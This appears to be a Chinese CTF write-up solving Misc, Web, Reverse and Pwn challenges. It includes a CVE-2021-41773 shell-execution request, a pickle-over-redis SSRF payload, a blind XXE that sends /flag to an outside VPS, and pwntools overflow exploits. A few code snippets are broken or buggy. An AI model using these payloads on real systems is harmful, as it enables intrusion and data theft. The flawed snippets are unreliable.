Misc
签到
GIF 拆分 字符拼接
1 2 3 4
| synt{guvf-vf-gur-fvtava-dhvm}
ROT13: flag{this-is-the-signin-quiz}
|
钓鱼邮件识别
打开eml
base64解码
Flag1
Flag2
Flag3
第三段解析DNS的记录
easyshell
追踪流到倒数几个服务器流量解密发现如下
pk头,是zip,保存成zip文件
还发现了secret2.txt的内容
用上述txt,明文攻击zip
用明文攻击获取到的key直接解secret1.txt
SecretDB
用DB Browser for SQLite查看数据库,但是说flag不在这里
放到010中,发现这句话下面还藏着点东西,在01 0F之间有东西
然后写脚本进行提取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| with open('secret.db', 'rb') as f: c = f.read()
flag = {} parts = c.split(b'\x01\x0f')
for i in parts[1:-2]: flag[i[0]] = chr(i[1])
for k in sorted(flag.keys()): print(flag[k], end='')
|
Gateway
在附件中找到了密码,但还是编码的
在题目附件里发现这个,联想到电信光猫的超密解密
参考内容
破解光猫超级管理员密码,也就是获取telecomadmin的密码
把里面的数字提取,然后三位数的内容把数字减掉4,从ASCII转字符即可,其他部分直接从ASCII转成字符即可,拼在一起
1 2 3 4 5 6 7 8 9
| numbers = [106, 112, 101, 107, 127, 101, 104, 49, 57, 56, 53, 56, 54, 56, 49, 51, 51, 105, 56, 103, 106, 49, 56, 50, 56, 103, 102, 56, 52, 101, 104, 102, 105, 53, 101, 53, 102, 129]
decode = '' for i in numbers: if i decode += chr(i - 4) #三位数的按字母处理 else: decode += chr(i) #两位数的按数字处理 print(decode)
|
Apache
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from flask import Flask,request,send_file import socket
app = Flask("webserver")
@app.route('/',methods=["GET"]) def index(): return send_file(__file__)
@app.route('/nc',methods=["POST"]) def nc(): try: dstport=int(request.form['port']) data=request.form['data'] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1) s.connect(('127.0.0.1', dstport)) s.send(data.encode()) recvdata = b'' while True: chunk = s.recv(2048) if not chunk.strip(): break else: recvdata += chunk continue return recvdata except Exception as e: return str(e)
app.run(host="0.0.0.0",port=8080,threaded=True)
|
CVE-2021-41773
https://blog.csdn.net/luochen2436/article/details/120698682
payload:
1
| port=80&data=POST%20%2fcgi-bin%2f.%252e%2f.%252e%2f.%252e%2f.%252e%2fbin%2fsh%20HTTP%2f1.1%0d%0aHost%3a%20127.0.0.1%0d%0aAccept%3a%20*%2f*%0d%0aAccept-Language%3a%20zh-CN%2czh%3bq%3d0.8%2czh-TW%3bq%3d0.7%2czh-HK%3bq%3d0.5%2cen-US%3bq%3d0.3%2cen%3bq%3d0.2%0d%0aAccept-Encoding%3a%20gzip%2c%20deflate%0d%0aContent-Type%3a%20application%2fx-www-form-urlencoded%0d%0aCache%3a%20no-cache%0d%0aContent-Length%3a%2012%0d%0aConnection%3a%20close%0d%0a%0d%0aecho%3bcat%20%2ff*%0d%0a%0d%0a
|
f or r
一层一层解压.cab文件,找到Cab for KB114514 PSFX,发现跟前两天的GeekCTF的题有点像
参考链接:
https://qanux.github.io/2024/04/22/geek2024/index.html
利用脚本进行更新
这里的o_curl.exe是当前自己系统的curl.exe,-o是要输出的文件名,r为回滚的,要把这个r里的解压出来的文件替换成自己系统的补丁里的,f里的是压缩包里的(事实上就这一个有用的)
出来个nnn.exe
自己系统补丁位置:
大概就是在winsxs中搜索curl有关的文件(也可能不是这里边的,在其他补丁里,直接全局搜也行)
运行命令后得到最终输出的文件
看下版本
得到flag
zip
nc后用队伍token连接
源码main函数分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| int main(int argc, char *argv[]) { load(); system("7z");
puts("your token:"); fflush(stdout); fgets(buf, sizeof(buf), stdin); if (cmpstr(token, buf)) { puts("wrong token!"); return 1; }
zip(buf);
puts("your flag:"); fflush(stdout);
fgets(buf, sizeof(buf), stdin); if (cmpstr("flag{", buf)) { puts("wrong flag!"); return 1; }
unzip(buf);
FILE *f = fopen("flag.txt", "r"); if (!f) { puts("flag.txt not found"); return 1; } fgets(buf, sizeof(buf), f); fclose(f);
printf("flag: %s\n", buf);
return 0; }
|
连接后
1.先比较token
2.然后用token做密码去压缩
3.要用以“flag{”开头的字符串
4.得到解压的flag
其中
token在处理时,在第65置0,所以就要token的前64位
3步中要绕过flag{,可以通过传DEL(ASCII:127)删除
payload
1 2 3 4 5 6 7 8 9 10 11 12 13
| from pwn import *
p = remote('prob03.contest.pku.edu.cn', 10003, level = 'debug') p.sendlineafter(b'Please input your token: ', b'468:MEYCIQCSFzmz7YKQQSyTyG0KfXOcsHbsrQxCKD5bUvCixeW7xwIhAJD6lBpyqK9_IVF2Qw0Y78gKJ3afeacA9ckn0feIZUYl')#
p.sendlineafter(b'your token:\n', b'468:MEYCIQCSFzmz7YKQQSyTyG0KfXOcsHbsrQxCKD5bUvCixeW7xwIhAJD6lBpy')
payload = b'flag{'+b'\x7f'*5+b"468:MEYCIQCSFzmz7YKQQSyTyG0KfXOcsHbsrQxCKD5bUvCixeW7xwIhAJD6lBpy" p.sendlineafter(b'your flag:\n', payload)
p.interactive()
|
Web
phpsql
注册admin显示已经存在
结合题目phpsql应该是万能密码注入进入后台
直接拿sql语句字典跑
直接跑进去
pyssrf
根据题目与提示pyssrf加什么年代了还用python3.7.1
python3.7.1的环境中,urllib有请求头注入
redis 解析
GET /?
payload
padding
基本上可以理解为
pickle反序列化+redis+rce+ssrf
1 2 3 4 5 6 7 8 9
| import base64 import hashlib opcode='''(S'mkdir ./static;cp /flag ./static/f' ios system .'''.encode('utf-8') key=hashlib.md5("http://test/".encode()).hexdigest() value=base64.b64encode(opcode).decode('utf-8') print('set',key,value)
|
得到
1
| set 0439e1ff2e65e21dcf4bba4c26a0dab2 KFMnbWtkaXIgLi9zdGF0aWM7Y3AgL2ZsYWcgLi9zdGF0aWMvZicKaW9zCnN5c3RlbQou
|
构造url
1
| ?url=127.0.0.1:6379?%0d%0aset%200439e1ff2e65e21dcf4bba4c26a0dab2%20KFMnbWtkaXIgLi9zdGF0aWM7Y3AgL2ZsYWcgLi9zdGF0aWMvZicKaW9zCnN5c3RlbQou%0d%0apadding%0d%0a
|
打开即可得到flag
fileit
源码有提示
测试后发现要打无回显xxe
vps创建flag.dtd文件,内容如下:
1 2 3
| <!ENTITY % ccc "<!ENTITY % aba SYSTEM 'http://43.143.167.75:8888?x=%file;'>"> %ccc; %aba;
|
创建完成后,在当前目录起python服务
payload如下:
1 2 3 4 5 6
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE a [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % xxe SYSTEM "http://43.143.167.75:8888/flag.dtd"> %xxe; ]>
|
初始页面抓包后,post传参:
发送后,vps就会显示接收的数据
base64解码,拿到flag
Reverse
ezayre
64位无壳elf,拉进ida看看
锁定主要函数是sub_1208,跟进之后有爆红,修好之后加密逻辑如下,看到下图标红处之后,感觉是base64
直接查找一下字符串
看见变表和密文之后直接秒了
babyre
正常脱upx壳之后拉进ida
直接把四个函数中的加密逆一下,都是一些基本加密操作,直接爆破一下,注意爆破的取值区间是0~2^32-1,包含所有32无符号整数,把内容合一下,exp如下(PS:第一个函数就加减值加密,不写入函数了就)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| #include <stdio.h>
__int64 __fastcall sub_1257(int a1) { __int64 result;
if ( (a1 | 0x8E03BEC3) - 3 * (a1 & 0x71FC413C) + a1 == -1876131848 ) result = 0LL; else result = 0xFFFFFFFFLL; return result; }
__int64 __fastcall sub_12A4(unsigned int a1) { if ( a1 > 0x10000000 ) return 0xFFFFFFFFLL; if ( 4 * ((~a1 & 0xA8453437) + 2 * ~(~a1 | 0xA8453437)) + -3 * (~a1 | 0xA8453437) + 3 * ~(a1 | 0xA8453437) - (-10 * (a1 & 0xA8453437) + (a1 ^ 0xA8453437)) == 551387557 ) return 0LL; return 0xFFFFFFFFLL; }
__int64 __fastcall sub_1346(unsigned int a1) { if ( a1 > 0x10000000 ) return 0xFFFFFFFFLL; if ( 11 * ~(a1 ^ 0xE33B67BD) + 4 * ~(~a1 | 0xE33B67BD) - (6 * (a1 & 0xE33B67BD) + 12 * ~(a1 | 0xE33B67BD)) + 3 * (a1 & 0xD2C7FC0C) + -5 * a1 - 2 * ~(a1 | 0xD2C7FC0C) + ~(a1 | 0x2D3803F3) + 4 * (a1 & 0x2D3803F3) - -2 * (a1 | 0x2D3803F3) == 0xCE1066DC ) return 0LL; return 0xFFFFFFFFLL; }
int main() { printf("flag{");
unsigned int a = 0xADB1D018LL; unsigned int b = a+0x36145344; printf("%08x",b); printf("-"); for(unsigned int i=0;i<2^32 - 1;i++) { unsigned int bbq = sub_1257(i); if(bbq==0LL) { printf("%08x",i); break; } } printf("-"); for(unsigned int i=0;i<2^32 - 1;i++) { unsigned int bbq = sub_12A4(i); if(bbq==0LL) { printf("%08x",i); break; } } printf("-"); for(unsigned int i=0;i<2^32 - 1;i++) { unsigned int bbq = sub_1346(i); if(bbq==0LL) { printf("%08x",i); break; } } printf("}"); return 0; }
|
Pwn
babypwn
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import *
p = remote('prob07.contest.pku.edu.cn', 10007)
p.recvuntil(b'Please input your token: ') p.sendline(b'468:MEYCIQCSFzmz7YKQQSyTyG0KfXOcsHbsrQxCKD5bUvCixeW7xwIhAJD6lBpyqK9_IVF2Qw0Y78gKJ3afeacA9ckn0feIZUYl') p.recvuntil(b'Enter your username: ') p.sendline(b'root')
x = b'!@#$%^&*()_+' offset=0x38 - len(x) payload = x + b'\x00' * offset + p64(0x40117A) p.recvuntil(b'Enter the password: ') p.sendline(payload)
p.interactive()
|
Login
密码处输入字符过长溢出,密码自己出来了
elf文件泄露,使用脚本提取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import *
p = remote('prob04.contest.pku.edu.cn', 10004, level = 'debug') p.sendlineafter(b'Please input your token: ', b'468:MEYCIQCSFzmz7YKQQSyTyG0KfXOcsHbsrQxCKD5bUvCixeW7xwIhAJD6lBpyqK9_IVF2Qw0Y78gKJ3afeacA9ckn0feIZUYl')
p.sendlineafter(b'Username:', b'admin')
p.sendlineafter(b'Password:', b'1q2w3e4r')
data = p.recvall() flag = data.find(b'\x7fELF') if flag ==-1: datas = data else: datas = data[flag:]
with open('a','wb') as f: f.write(datas)
p.interactive()
|
提取成功,找到后门
找gadgets
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import *
p = remote('prob04.contest.pku.edu.cn', 10004, level='debug') p.sendlineafter(b'Please input your token: ', b'468:MEYCIQCSFzmz7YKQQSyTyG0KfXOcsHbsrQxCKD5bUvCixeW7xwIhAJD6lBpyqK9_IVF2Qw0Y78gKJ3afeacA9ckn0feIZUYl') p.sendlineafter(b'Username: ', 'admin')
''' Gadgets information ============================================================ 0x000000000040101a : ret 0x0000000000401359 : ret 0x1be ''' payload = b'a' * 40 + b'\x00' * (41 - 40) + b'b' * (48 + 96 - 41) + p64(0x40101a) * 3 + p64(0x40127e)
p.sendlineafter(b'Password: ', payload)
p.interactive()
|